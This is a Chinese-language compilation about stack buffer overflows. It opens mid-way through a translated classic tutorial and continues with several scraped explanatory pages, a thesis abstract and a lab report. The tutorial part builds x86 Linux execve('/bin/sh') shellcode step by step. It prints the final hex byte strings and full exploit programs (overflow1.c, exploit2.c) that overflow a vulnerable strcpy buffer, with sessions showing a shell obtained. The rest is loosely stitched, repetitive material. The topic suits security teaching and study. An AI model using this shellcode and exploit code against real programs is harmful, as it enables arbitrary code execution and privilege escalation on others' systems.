0x8(%ebp),%ebx0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx0x80002cb <__execve+15>: movl 0x10(%ebp),%edx0x80002ce <__execve+18>: int $0x800x80002d0 <__execve+20>: movl %eax,%edx0x80002d2 <__execve+22>: testl %edx,%edx0x80002d4 <__execve+24>: jnl 0x80002e6 <__execve+42>0x80002d6 <__execve+26>: negl %edx0x80002d8 <__execve+28>: pushl %edx0x80002d9 <__execve+29>: call 0x8001a34 <__normal_errno_location> 0x80002de <__execve+34>: popl %edx0x80002df <__execve+35>: movl %edx,(%eax)0x80002e1 <__execve+37>: movl $0xffffffff,%eax0x80002e6 <__execve+42>: popl %ebx0x80002e7 <__execve+43>: movl %ebp,%esp0x80002e9 <__execve+45>: popl %ebp0x80002ea <__execve+46>: ret0x80002eb <__execve+47>: nopEnd of assembler dump.------------------------------------------------------------------------------下面我们看看这里究竟发生了什么事情. 先从main开始研究:------------------------------------------------------------------------------0x8000130 <main>: pushl %ebp0x8000131 <main+1>: movl %esp,%ebp0x8000133 <main+3>: subl $0x8,%esp这是例程的准备工作. 首先保存老的帧指针, 用当前的堆栈指针作为新的帧指针,然后为局部变量保留空间. 这里是:char *name[2];即2个指向字符串的指针. 指针的长度是一个字, 所以这里保留2个字(8个字节)的空间.0x8000136 <main+6>: movl $0x80027b8,0xfffffff8(%ebp)我们把0x80027b8(字串"/bin/sh"的地址)这个值复制到name[]中的第一个指针, 这等价于:name[0] = "/bin/sh";0x800013d <main+13>: movl $0x0,0xfffffffc(%ebp)我们把值0x0(NULL)复制到name[]中的第二个指针, 这等价于:name[1] = NULL;对execve()的真正调用从下面开始:0x8000144 <main+20>: pushl $0x0我们把execve()的参数以从后向前的顺序压入堆栈中, 这里从NULL开始.0x8000146 <main+22>: leal 0xfffffff8(%ebp),%eax把name[]的地址放到EAX寄存器中.0x8000149 <main+25>: pushl %eax接着就把name[]的地址压入堆栈中.0x800014a <main+26>: movl 0xfffffff8(%ebp),%eax把字串"/bin/sh"的地址放到EAX寄存器中0x800014d <main+29>: pushl %eax接着就把字串"/bin/sh"的地址压入堆栈中0x800014e <main+30>: call 0x80002bc <__execve>调用库例程execve(). 这个调用指令把IP(指令指针)压入堆栈中.------------------------------------------------------------------------------现在到了execve(). 要注意我们使用的是基于Intel的Linux系统. 系统调用的细节随操作系统和CPU的不同而不同. 有的把参数压入堆栈中, 有的保存在寄存器里. 有的使用软中断跳入内核模式, 有的使用远调用(far call). Linux把传给系统调用的参数保存在寄存器里, 并且使用软中断跳入内核模式.------------------------------------------------------------------------------0x80002bc <__execve>: pushl %ebp0x80002bd <__execve+1>: movl %esp,%ebp0x80002bf <__execve+3>: pushl %ebx例程的准备工作.0x80002c0 <__execve+4>: movl $0xb,%eax把0xb(十进制的11)放入寄存器EAX中(原文误为堆栈). 0xb是系统调用表的索引11就是execve.0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx把"/bin/sh"的地址放到寄存器EBX中.0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx把name[]的地址放到寄存器ECX中.0x80002cb <__execve+15>: movl 0x10(%ebp),%edx把空指针的地址放到寄存器EDX中.0x80002ce <__execve+18>: int $0x80进入内核模式.------------------------------------------------------------------------------由此可见调用execve()也没有什么太多的工作要做, 所有要做的事情总结如下:a) 把以NULL结尾的字串"/bin/sh"放到内存某处.b) 把字串"/bin/sh"的地址放到内存某处, 后面跟一个空的长字(null long word).c) 把0xb放到寄存器EAX中.d) 把字串"/bin/sh"的地址放到寄存器EBX中.e) 把字串"/bin/sh"地址的地址放到寄存器ECX中.(注: 原文d和e步骤把EBX和ECX弄反了)f) 把空长字的地址放到寄存器EDX中.g) 执行指令int $0x80.但是如果execve()调用由于某种原因失败了怎么办? 程序会继续从堆栈中读取指令,这时的堆栈中可能含有随机的数据! 程序执行这样的指令十有八九会core dump. 如果execv e调用失败我们还是希望程序能够干净地退出. 为此必须在调用execve之后加入一个exit系统调用. exit系统调用在汇编语言看起来象什么呢?exit.c------------------------------------------------------------------------------#include <stdlib.h>void main() {exit(0);}------------------------------------------------------------------------------------------------------------------------------------------------------------[aleph1]$ gcc -o exit -static exit.c[aleph1]$ gdb exitGDB is free software and you are welcome to distribute copies of itunder certain conditions; type "show copying" to see the conditions.There is absolutely no warranty for GDB; type "show warranty" for details.GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...(no debugging symbols found)...(gdb) disassemble _exitDump of assembler code for function _exit:0x800034c <_exit>: pushl %ebp0x800034d <_exit+1>: movl %esp,%ebp0x800034f <_exit+3>: pushl %ebx0x8000350 <_exit+4>: movl $0x1,%eax0x8000355 <_exit+9>: movl 0x8(%ebp),%ebx0x8000358 <_exit+12>: int $0x800x800035a <_exit+14>: movl 0xfffffffc(%ebp),%ebx0x800035d <_exit+17>: movl %ebp,%esp0x800035f <_exit+19>: popl %ebp0x8000360 <_exit+20>: ret0x8000361 <_exit+21>: nop0x8000362 <_exit+22>: nop0x8000363 <_exit+23>: nopEnd of assembler dump.------------------------------------------------------------------------------系统调用exit会把0x1放到寄存器EAX中, 在EBX中放置退出码, 并且执行"int 0x80". 就这些了! 大多数应用程序在退出时返回0, 以表示没有错误. 我们在EBX中也放入0. 现在我们构造shell code的步骤就是这样的了:a) 把以NULL结尾的字串"/bin/sh"放到内存某处.b) 把字串"/bin/sh"的地址放到内存某处, 后面跟一个空的长字(null long word).c) 把0xb放到寄存器EAX中.d) 把字串"/bin/sh"的地址放到寄存器EBX中.e) 把字串"/bin/sh"地址的地址放到寄存器ECX中.(注: 原文d和e步骤把EBX和ECX弄反了)f) 把空长字的地址放到寄存器EDX中.g) 执行指令int $0x80.h) 把0x1放到寄存器EAX中.i) 把0x0放到寄存器EAX中.j) 执行指令int $0x80.试着把这些步骤变成汇编语言, 把字串放到代码后面. 别忘了在数组后面放上字串地址和空字, 我们有如下的代码:------------------------------------------------------------------------------movl string_addr,string_addr_addrmovb $0x0,null_byte_addrmovl $0x0,null_addrmovl $0xb,%eaxmovl string_addr,%ebxleal string_addr,%ecxleal null_string,%edxint $0x80movl $0x1, %eaxmovl $0x0, %ebxint $0x80/bin/sh string goes here.------------------------------------------------------------------------------问题是我们不知道在要破解的程序的内存空间中, 上述代码(和其后的字串)会被放到哪里. 一种解决方法是使用JMP和CALL指令. JMP和CALL指令使用相对IP的寻址方式, 也就是说我们可以跳到距离当前IP一定间距的某个位置, 而不必知道那个位置在内存中的确切地址. 如果我们在字串"/bin/sh"之前放一个CALL指令, 并由一个JMP指令转到CALL指令上.当CALL指令执行的时候, 字串的地址会被作为返回地址压入堆栈之中. 我们所需要的就是把返回地址放到一个寄存器之中. CALL指令只是调用我们上述的代码就可以了. 假定J代表JMP指令, C代表CALL指令, s代表字串, 执行过程如下所示:内存低DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF 内存高地址89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF 地址buffer sfp ret a b c<------ [JJSSSSSSSSSSSSSSCCss][ssss][0xD8][0x01][0x02][0x03]^|^ ^| ||||_____________||____________| (1)(2) ||_____________|||______________| (3)堆栈顶部堆栈底部运用上述的修正方法, 并使用相对索引寻址, 我们代码中每条指令的字节数目如下:------------------------------------------------------------------------------jmp offset-to-call # 2 bytespopl %esi # 1 bytemovl %esi,array-offset(%esi) # 3 bytesmovb $0x0,nullbyteoffset(%esi)# 4 bytesmovl $0x0,null-offset(%esi) # 7 bytesmovl $0xb,%eax # 5 bytesmovl %esi,%ebx # 2 bytesleal array-offset(%esi),%ecx # 3 bytesleal null-offset(%esi),%edx # 3 bytesint $0x80 # 2 bytesmovl $0x1, %eax # 5 bytesmovl $0x0, %ebx # 5 bytesint $0x80 # 2 bytescall offset-to-popl # 5 bytes/bin/sh string goes here.------------------------------------------------------------------------------通过计算从jmp到call, 从call到popl, 从字串地址到数组, 从字串地址到空长字的偏量, 我们得到:------------------------------------------------------------------------------jmp 0x26 # 2 bytespopl %esi # 1 bytemovl %esi,0x8(%esi) # 3 bytesmovb $0x0,0x7(%esi) # 4 bytesmovl $0x0,0xc(%esi) # 7 bytesmovl $0xb,%eax # 5 bytesmovl %esi,%ebx # 2 bytesleal 0x8(%esi),%ecx # 3 bytesleal 0xc(%esi),%edx # 3 bytesint $0x80 # 2 bytesmovl $0x1, %eax # 5 bytesmovl $0x0, %ebx # 5 bytesint $0x80 # 2 bytescall -0x2b # 5 bytes.string \"/bin/sh\" # 8 bytes------------------------------------------------------------------------------这看起来很不错了. 为了确保代码能够正常工作必须编译并执行. 但是还有一个问题. 我们的代码修改了自身, 可是多数操作系统将代码页标记为只读. 为了绕过这个限制我们必须把要执行的代码放到堆栈或数据段中, 并且把控制转到那里. 为此应该把代码放到数据段中的全局数组中. 我们首先需要用16进制表示的二进制代码. 先编译, 然后再用gdb 来取得二进制代码.shellcodeasm.c------------------------------------------------------------------------------void main() {__asm__("jmp 0x2a # 3 bytespopl %esi # 1 bytemovl %esi,0x8(%esi) # 3 bytesmovb $0x0,0x7(%esi) # 4 bytesmovl $0x0,0xc(%esi) # 7 bytesmovl $0xb,%eax # 5 bytesmovl %esi,%ebx # 2 bytesleal 0x8(%esi),%ecx # 3 bytesleal 0xc(%esi),%edx # 3 bytesint $0x80 # 2 bytesmovl $0x1, %eax # 5 bytesmovl $0x0, %ebx # 5 bytesint $0x80 # 2 bytescall -0x2f # 5 bytes.string \"/bin/sh\" # 8 bytes");}------------------------------------------------------------------------------------------------------------------------------------------------------------[aleph1]$ gcc -o shellcodeasm -g -ggdb shellcodeasm.c[aleph1]$ gdb shellcodeasmGDB is free software and you are welcome to distribute copies of itunder certain conditions; type "show copying" to see the conditions.There is absolutely no warranty for GDB; type "show warranty" for details.GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc... (gdb) disassemble mainDump of assembler code for function main:0x8000130 <main>: pushl %ebp0x8000131 <main+1>: movl %esp,%ebp0x8000133 <main+3>: jmp 0x800015f <main+47>0x8000135 <main+5>: popl %esi0x8000136 <main+6>: movl %esi,0x8(%esi)0x8000139 <main+9>: movb $0x0,0x7(%esi)0x800013d <main+13>: movl $0x0,0xc(%esi)0x8000144 <main+20>: movl $0xb,%eax0x8000149 <main+25>: movl %esi,%ebx0x800014b <main+27>: leal 0x8(%esi),%ecx0x800014e <main+30>: leal 0xc(%esi),%edx0x8000151 <main+33>: int $0x800x8000153 <main+35>: movl $0x1,%eax0x8000158 <main+40>: movl $0x0,%ebx0x800015d <main+45>: int $0x800x800015f <main+47>: call 0x8000135 <main+5>0x8000164 <main+52>: das0x8000165 <main+53>: boundl 0x6e(%ecx),%ebp0x8000168 <main+56>: das0x8000169 <main+57>: jae 0x80001d3 <__new_exitfn+55>0x800016b <main+59>: addb %cl,0x55c35dec(%ecx)End of assembler dump.(gdb) x/bx main+30x8000133 <main+3>: 0xeb(gdb)0x8000134 <main+4>: 0x2a(gdb)...------------------------------------------------------------------------------testsc.c------------------------------------------------------------------------------char shellcode[] ="\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00""\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80""\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff""\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3";void main() {int *ret;ret = (int *)&ret + 2;(*ret) = (int)shellcode;}------------------------------------------------------------------------------------------------------------------------------------------------------------[aleph1]$ gcc -o testsc testsc.c[aleph1]$ ./testsc$ exit[aleph1]$------------------------------------------------------------------------------成了! 但是这里还有一个障碍, 在多数情况下, 我们都是试图使一个字符缓冲区溢出. 那么在我们shellcode中的任何NULL字节都会被认为是字符串的结尾, 复制工作就到此为止了. 对于我们的破解工作来说, 在shellcode里不能有NULL字节. 下面来消除这些字节, 同时把代码精简一点.Problem instruction: Substitute with:--------------------------------------------------------movb $0x0,0x7(%esi) xorl %eax,%eaxmolv $0x0,0xc(%esi) movb %eax,0x7(%esi)movl %eax,0xc(%esi)--------------------------------------------------------movl $0xb,%eax movb $0xb,%al--------------------------------------------------------movl $0x1, %eax xorl %ebx,%ebxmovl $0x0, %ebx movl %ebx,%eaxinc %eax--------------------------------------------------------Our improved code:shellcodeasm2.c------------------------------------------------------------------------------void main() {__asm__("jmp 0x1f # 2 bytespopl %esi # 1 bytemovl %esi,0x8(%esi) # 3 bytesxorl %eax,%eax # 2 bytesmovb %eax,0x7(%esi) # 3 bytesmovl %eax,0xc(%esi) # 3 bytesmovb $0xb,%al # 2 bytesmovl %esi,%ebx # 2 bytesleal 0x8(%esi),%ecx # 3 bytesleal 0xc(%esi),%edx # 3 bytesint $0x80 # 2 bytesxorl %ebx,%ebx # 2 bytesmovl %ebx,%eax # 2 bytesinc %eax # 1 bytesint $0x80 # 2 bytescall -0x24 # 5 bytes.string \"/bin/sh\" # 8 bytes# 46 bytes total");}------------------------------------------------------------------------------And our new test program:testsc2.c------------------------------------------------------------------------------char shellcode[] ="\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b""\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd""\x80\xe8\xdc\xff\xff\xff/bin/sh";void main() {int *ret;ret = (int *)&ret + 2;(*ret) = (int)shellcode;}------------------------------------------------------------------------------------------------------------------------------------------------------------[aleph1]$ gcc -o testsc2 testsc2.c[aleph1]$ ./testsc2$ exit[aleph1]$------------------------------------------------------------------------------破解实战~~~~~~~~~~现在把手头的工具都准备好. 我们已经有了shellcode. 我们知道shellcode必须是被溢出的字符串的一部分. 我们知道必须把返回地址指回缓冲区. 下面的例子说明了这几点:overflow1.c------------------------------------------------------------------------------char shellcode[] ="\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b""\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd""\x80\xe8\xdc\xff\xff\xff/bin/sh";char large_string[128];void main() {char buffer[96];int i;long *long_ptr = (long *) large_string;for (i = 0; i < 32; i++)*(long_ptr + i) = (int) buffer;for (i = 0; i < strlen(shellcode); i++)large_string[i] = shellcode[i];strcpy(buffer,large_string);}------------------------------------------------------------------------------------------------------------------------------------------------------------[aleph1]$ gcc -o exploit1 exploit1.c[aleph1]$ ./exploit1$ exitexit[aleph1]$------------------------------------------------------------------------------如上所示, 我们用buffer[]的地址来填充large_string[]数组, shellcode就将会在buffer[]之中. 然后我们把shellcode复制到large_string字串的开头. strcpy()不做任何边界检查就会将large_string复制到buffer中去, 并且覆盖返回地址. 现在的返回地址就是我们shellcode的起始位置. 一旦执行到main函数的尾部, 在试图返回时就会跳到我们的shellcode中, 得到一个shell.我们所面临的问题是: 当试图使另外一个程序的缓冲区溢出的时候, 如何确定这个缓冲区(会有我们的shellcode)的地址在哪? 答案是: 对于每一个程序, 堆栈的起始地址都是相同的. 大多数程序不会一次向堆栈中压入成百上千字节的数据. 因此知道了堆栈的开始地址, 我们可以试着猜出这个要使其溢出的缓冲区在哪. 下面的小程序会打印出它的堆栈指针:sp.c------------------------------------------------------------------------------unsigned long get_sp(void) {__asm__("movl %esp,%eax");}void main() {printf("0x%x\n", get_sp());}------------------------------------------------------------------------------------------------------------------------------------------------------------[aleph1]$ ./sp0x8000470[aleph1]$------------------------------------------------------------------------------假定我们要使其溢出的程序如下:vulnerable.c------------------------------------------------------------------------------void main(int argc, char *argv[]) {char buffer[512];if (argc > 1)strcpy(buffer,argv[1]);}------------------------------------------------------------------------------我们创建一个程序可以接受两个参数, 一是缓冲区大小, 二是从其自身堆栈指针算起的偏移量(这个堆栈指针指明了我们想要使其溢出的缓冲区所在的位置). 我们把溢出字符串放到一个环境变量中, 这样就容易操作一些.exploit2.c------------------------------------------------------------------------------#include <stdlib.h>#define DEFAULT_OFFSET 0#define DEFAULT_BUFFER_SIZE 512char shellcode[] ="\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b""\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd""\x80\xe8\xdc\xff\xff\xff/bin/sh";unsigned long get_sp(void) {__asm__("movl %esp,%eax");}void main(int argc, char *argv[]) {char *buff, *ptr;long *addr_ptr, addr;int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;int i;if (argc > 1) bsize = atoi(argv[1]);if (argc > 2) offset = atoi(argv[2]);if (!(buff = malloc(bsize))) {printf("Can't allocate memory.\n");exit(0);}addr = get_sp() - offset;printf("Using address: 0x%x\n", addr);ptr = buff;addr_ptr = (long *) ptr;for (i = 0; i < bsize; i+=4)*(addr_ptr++) = addr;ptr += 4;for (i = 0; i < strlen(shellcode); i++)*(ptr++) = shellcode[i];buff[bsize - 1] = '\0';memcpy(buff,"EGG=",4);putenv(buff);system("/bin/bash");}------------------------------------------------------------------------------ 现在我们尝试猜测缓冲区的大小和偏移量:------------------------------------------------------------------------------ [aleph1]$ ./exploit2 500Using address: 0xbffffdb4[aleph1]$ ./vulnerable $EGG[aleph1]$ exit[aleph1]$ ./exploit2 600Using address: 0xbffffdb4[aleph1]$ ./vulnerable $EGGIllegal instruction[aleph1]$ exit[aleph1]$ ./exploit2 600 100Using address: 0xbffffd4c[aleph1]$ ./vulnerable $EGGSegmentation fault。
缓冲区溢出原理和利用
缓冲区溢出原理和利用
缓冲区溢出是一种常见的程序缺陷,它发生时,数据被添加到分配给缓冲区的内存块之外,导致程序运行失败、系统宕机、重新启动等后果。
更为严重的是,可以利用它执行非授权指令,甚至可以取得系统特权,进而进行各种非法操作。
缓冲区是一块连续的计算机内存区域,可保存相同数据类型的多个实例。
缓冲区溢出原理基于程序设计缺陷,向程序输入缓冲区写入使之溢出的内容(通常是超过缓冲区能保存的最大数据量的数据),从而破坏程序运行、趁著中断之际并获取程序乃至系统的控制权。
在C/C++语言中,由于没有数组越界检查机制,当向局部数组缓冲区里写入的数据超过为其分配的大小时,就会发生缓冲区溢出。
攻击者可利用缓冲区溢出来窜改进程运行时栈,从而改变程序正常流向,轻则导致程序崩溃,重则系统特权被窃取。
以上内容仅供参考,更多关于缓冲区溢出的原理和利用方式,建议查阅计算机书籍或咨询计算机专业人士。
缓冲区溢出(buffer overflow)机理分析
1.什么是缓冲区溢出?~~~~~~~~~~~~~~~~~~~buffer overflow,buffer overrun,smash the stack,trash the stack,scribble the stack, mangle the stack,spam,alias bug,fandango on core,memory leak,precedence lossage,overrun screw...指的是一种系统攻击的手段,通过往程序的缓冲区写超出其长度的内容,造成缓冲区的溢出,从而破坏程序的堆栈,使程序转而执行其它指令,以达到攻击的目的。
据统计,通过缓冲区溢出进行的攻击占所有系统攻击总数的80%以上。
造成缓冲区溢出的原因是程序中没有仔细检查用户输入的参数。
例如下面程序:example1.c----------------------------------------------------------------------void function(char *str) {char buffer[16];strcpy(buffer,str);}----------------------------------------------------------------------上面的strcpy()将直接吧str中的内容copy到buffer中。
这样只要str的长度大于16,就会造成buffer的溢出,使程序运行出错。
存在象strcpy这样的问题的标准函数还有strcat(),sprintf(),vsprintf(),gets(),scanf(),以及在循环内的getc(),fgetc(),getchar()等。
当然,随便往缓冲区中填东西造成它溢出一般只会出现Segmentation fault 错误,而不能达到攻击的目的。
最常见的手段是通过制造缓冲区溢出使程序运行一个用户shell,再通过shell执行其它命令。
缓冲区溢出漏洞原理
缓冲区溢出是一种常见的安全漏洞,攻击者利用缓冲区溢出使程序崩溃或执行恶意代码。
以下是缓冲区溢出漏洞的原理和攻击步骤:1. 缓冲区溢出:缓冲区是一种存储数据的地方,当输入的数据长度超过缓冲区的长度时,就会发生缓冲区溢出。
攻击者通常会利用缓冲区溢出漏洞来向程序写入任意数据,包括恶意代码。
2. 栈溢出:栈溢出是缓冲区溢出的一个特殊情况,当程序在堆栈上分配内存时,如果输入的数据长度超过堆栈的大小,就会发生栈溢出。
栈溢出通常发生在函数调用或跳转时,当函数调用时,栈指针会指向函数的返回地址和参数列表,如果输入的数据长度超过堆栈的大小,就会覆盖函数的返回地址和参数列表,使程序崩溃或执行恶意代码。
3. 堆溢出:堆溢出是缓冲区溢出的另一个特殊情况,当程序在堆上分配内存时,如果输入的数据长度超过堆的大小,就会发生堆溢出。
堆溢出通常发生在动态分配内存时,当程序动态分配内存时,堆指针会指向一个空闲的内存块,如果输入的数据长度超过堆的大小,就会覆盖堆指针,使程序崩溃或执行恶意代码。
4. 溢出攻击:攻击者通常会利用缓冲区溢出漏洞来向程序写入任意数据,包括恶意代码。
攻击者可能会通过Web攻击、命令执行攻击、DLL注入攻击等手段来实现。
5. 命令执行攻击:命令执行攻击是攻击者利用缓冲区溢出漏洞来执行恶意命令的攻击。
攻击者通常会利用命令执行漏洞来向程序写入任意命令,包括系统命令和恶意代码。
6. 注入攻击:注入攻击是攻击者利用缓冲区溢出漏洞来注入恶意代码的攻击。
攻击者通常会利用SQL注入、XML注入等手段来实现。
7. 代码执行攻击:代码执行攻击是攻击者利用缓冲区溢出漏洞来执行恶意代码的攻击。
攻击者通常会利用Shellshock、Code Red等漏洞来实现。
总之,缓冲区溢出漏洞是一种常见的安全漏洞,攻击者可以利用它来执行恶意代码或使程序崩溃。
程序员应该加强代码的安全性,避免缓冲区溢出漏洞的发生。
简述缓冲区溢出攻击的原理
简述缓冲区溢出攻击的原理
缓冲区溢出攻击是一种常见的网络攻击方式,其基本原理是利用程序在处理数据时,对数据的长度没有进行完全检查,导致过长的数据被写入程序的缓冲区中,从而覆盖了程序中原有的数据,甚至改变了程序的执行流程。
具体来说,当一个程序接收来自网络或用户的输入数据时,这些数据会被存放在一个特定的缓冲区中,程序会根据预设的规则和算法对这些数据进行处理。
如果输入的数据长度超出了缓冲区的容量,那么多余的数据就会被写入到相邻的内存空间中,这就是缓冲区溢出。
攻击者可以通过发送构造精细的恶意数据,将恶意代码写入程序的缓冲区中,从而修改程序的执行流程,实现恶意的攻击目的。
这些攻击方式包括堆栈溢出、格式化字符串攻击、整形溢出等。
为了避免缓冲区溢出攻击,程序开发者需要进行严格的输入验证,确保输入数据的长度不超过缓冲区的容量,还需要对程序中的缓冲区进行合理的内存管理和安全保障措施。
同时,用户也需要注意保护自己的计算机安全,不要轻信来路不明的数据,避免成为攻击者的下一个目标。
- 1 -。
缓冲区溢出攻击原理及核心代码的生成
中文摘要缓冲区溢出漏洞是当前软件中存在的最主要的威胁之一。
该文主要由四个部分组成。
第一部分借助静态分析工具IDA5.0及动态调试工具OllyDbg来解释缓冲区溢出攻击中的堆栈溢出的原理。
第二部分是介绍如何利用OllyDbg来分析或修改别人写的shellcode或编写自己的shellcode。
第三部分是介绍一个由我开发的通过脚本的方式来生成缓冲区溢出攻击字符串的两个函数。
第四部分是介绍如何使用第三部分的两个函数为一个存在缓冲区溢出漏洞的服务器添加一个具有管理员权限的系统用户。
关键词:缓冲区溢出,堆栈溢出ABSTRACTBuffer overflow attacks in the software is currently the most important one of the threats. The article consists of four main components. With the first part of the static analysis tool IDA5.0 and dynamic debugging tool OllyDbg to explain buffer overflow attacks in the principle of stack overflow. The second part is how to use OllyDbg to analyze or modify others’shellcode or preparing their own shellcode. The third part is an introduction of the two function which I develop for generate buffer overflow attacks strings. Part IV is on how to use the two functions which mention by Part III for add a administrators user to a server which have a buffer overflow bug.Key Words:buffer overflow,stack overflow目录中文摘要 (I)ABSTRACT.............................................................................................................................................................. I I 目录 (III)1.引言 (1)2.缓冲区溢出攻击的原理 (2)2.1堆栈结构及缓冲区溢出攻击的原理 (2)2.2 透过反汇编代码看堆栈结构 (4)2.3动态跟踪一个缓冲区溢出 (10)3.高级的缓冲区溢出攻击 (13)3.1 利用Ollydbg编写和修改shellcode (13)3.2 如何才能执行shellcode (20)4.通过编写脚本的方式进行缓冲区溢出攻击 (22)4.1 通过脚本进行攻击 (22)4.2 脚本设计 (22)4.3 实现脚本转换 (23)4.4 控制shellcode,jumpcode的位置 (32)5.利用脚本攻击一个带有缓冲区溢出漏洞的服务器 (33)5.1 生成一个带有缓冲区溢出漏洞的服务器程序 (33)5.2 生成Exploit程序 (37)5.3 利用ExploitSocket.exe为目标机械添加一个超级管理员帐户 (40)6.结束语 (43)参考文献 (44)致谢 (45)1.引言缓冲区溢出(Buffer Overflow)是网络安全中最为常见的一种形式,它普遍存在于各类的操作系统及运行在操作系统上的应用软件中。
缓冲区溢出攻击的原理与实践
课程设计任务书计通学院网络工程专业一、缓冲区溢出概念1、缓冲区溢出:指当计算机向缓冲区内填充数据位数时超过了缓冲区本身的容量溢出的数据覆盖在合法数据上,理想的情况是程序检查数据长度并不允许输入超过缓冲区长度的字符,但是绝大多数程序都会假设数据长度总是与所分配的储存空间相匹配,这就为缓冲区溢出埋下隐患.操作系统所使用的缓冲区又被称为"堆栈". 在各个操作进程之间,指令会被临时储存在"堆栈"当中,"堆栈"也会出现缓冲区溢出。
2、缓冲区最常见的攻击手段是通过制造缓冲区溢出使程序运行一个用户shell,在通过shell执行其他命令. 若该程序输入root且有suid权限的话,攻击者就获得了一个有root权限的shell,此时就可以对系统进行随意操作了.下面我来介绍一下如何控制程序跳转到攻击代码①打开记录(Activation Records)在程序中,每一个函数调用发生,在堆栈中会留下一个Activation Records,它包括函数结束时返回的地址,攻击者通过溢出这些自动变量,使地址指向攻击程序代码. 通过改变程序的返回地址,当调用结束时,程序就跳到攻击者设定的地址,而不是原地址.这类溢出被称为 stacks mashing attack.②函数指针(Function Pointers)void(*foo)(1)定义一个返回函数指针的变量foo, Function Pointers可用来定位任何地址空间. 所以只需在任何空间内的Function Pointers附近找到一个能溢出的缓冲区,然后溢出它来改变Function Pointers. 在某时刻,当程序通过Function Pointers调用函数时,程序的流程就按黑客的意图实现了(典型的溢出程序有:Linux下的Superprobe程序).③长跳转缓冲区(Longjmpbuffers)在C语言中,包含了一个简单的检验/恢复系统,称为setjmp/longjmp.即在检验点设定setjmp(buffer),用longjmp(buffer)恢复. 但若攻击者能够进入缓冲区空间,则longjmp(buffer)实际上跳转到攻击者的程序代码. 像Function Pointers, longjmp缓冲区能指向任何地方,所以攻击者要做的就是找到一个可供溢出的buffer即可.最常见的是在一个字符串中综合了代码植入和打开记录. 攻击者定位或提供溢出的自动变量,然后向程序传一个超大字符串,在引发buffer溢出改变打开记录时植入程序代码,由此达到入侵系统的目的.二、缓冲区溢出实例实现原理1、堆栈的组成:图2.1堆栈由数据存储区、EBP (栈底指针)、EIP (指令寄存器,指向下一条指令的地址)2、漏洞利用程序详细分析: 图2.2 编写一个漏洞利用程序,给它赋超过本身长度的值,使其溢出,但是我们要找到这个漏洞,我们需用shellcode 进行填充,填充一定数量的值,使我们能够清晰的找到漏洞(EIP ),如果EIP 指向的下一个地址不存在,那么它就出错,警告你哪里的指令引用的地址内存不能为“read ”,那么那个地址就是EIP 所在的位子,由于每一个地址空间都是4个字节,所以EBP 和EIP 都占4个字节,所以在出错的地址前4个地址就是EBP 的地址。
(完整word版)缓冲区溢出攻击实验报告
缓冲区溢出攻击实验报告班级:10网工三班学生姓名:谢昊天学号:1215134046实验目的和要求:1、掌握缓冲区溢出的原理;2、了解缓冲区溢出常见的攻击方法和攻击工具;实验内容与分析设计:1、利用RPC漏洞建立超级用户利用工具scanms.exe文件检测RPC漏洞,利用工具软件attack.exe对172.18.25.109进行攻击。
攻击的结果将在对方计算机上建立一个具有管理员权限的用户,并终止了对方的RPC服务。
2、利用IIS溢出进行攻击利用软件Snake IIS溢出工具可以让对方的IIS溢出,还可以捆绑执行的命令和在对方计算机上开辟端口。
3、利用WebDav远程溢出使用工具软件nc.exe和webdavx3.exe远程溢出。
实验步骤与调试过程:1.RPC漏洞出。
首先调用RPC(Remote Procedure Call)。
当系统启动的时候,自动加载RPC服务。
可以在服务列表中看到系统的RPC服务。
利用RPC漏洞建立超级用户。
首先,把scanms.exe文件拷贝到C盘跟目录下,检查地址段172.18.25.109到172.18.25.11。
点击开始>运行>在运行中输入cmd>确定。
进入DOs模式、在C盘根目录下输入scanms.exe 172.18.25.109-172.18.25.110,回车。
检查漏洞。
2.检查缓冲区溢出漏洞。
利用工具软件attack.exe对172.18.25.109进行攻击。
在进入DOC 模式、在C盘根目录下输入acctack.exe 172.18.25.109,回车。
3,利用软件Snake IIS溢出工具可以让对方的IIS溢出。
进入IIS溢出工具软件的主界面.IP:172.18.25.109 PORT:80 监听端口为813单击IDQ溢出。
出现攻击成功地提示对话框。
4.利用工具软件nc.exe连接到该端口。
进入DOs模式,在C盘根目录下输入nc.exe -vv 172.18.25.109 813 回车。
缓冲区溢出漏洞实验
缓冲区溢出漏洞实验缓冲区溢出漏洞实验⼀、了解缓冲区溢出及其原理1、缓冲区溢出概念缓冲区溢出是指当计算机向缓冲区内填充数据位数时超过了缓冲区本⾝的容量溢出的数据在合法数据上,理想的情况是程序检查数据长度并不允许输⼊超过缓冲区长度的字符,但是绝⼤多数程序都会假设数据长度总是与所分配的储存空间相匹配,这就为缓冲区溢出埋下隐患,操作系统所使⽤的缓冲区,⼜被称为"堆栈"。
在各个操作进程之间,指令会被临时储存在"堆栈"当中,"堆栈"也会出现缓冲区溢出。
2、缓冲区溢出攻击及其原理通过往程序的缓冲区写超出其长度的内容,造成缓冲区的溢出,从⽽破坏程序的堆栈,使程序转⽽执⾏其它指令,以达到攻击的⽬的。
造成缓冲区溢出的原因是程序中没有仔细检查⽤户输⼊的参数。
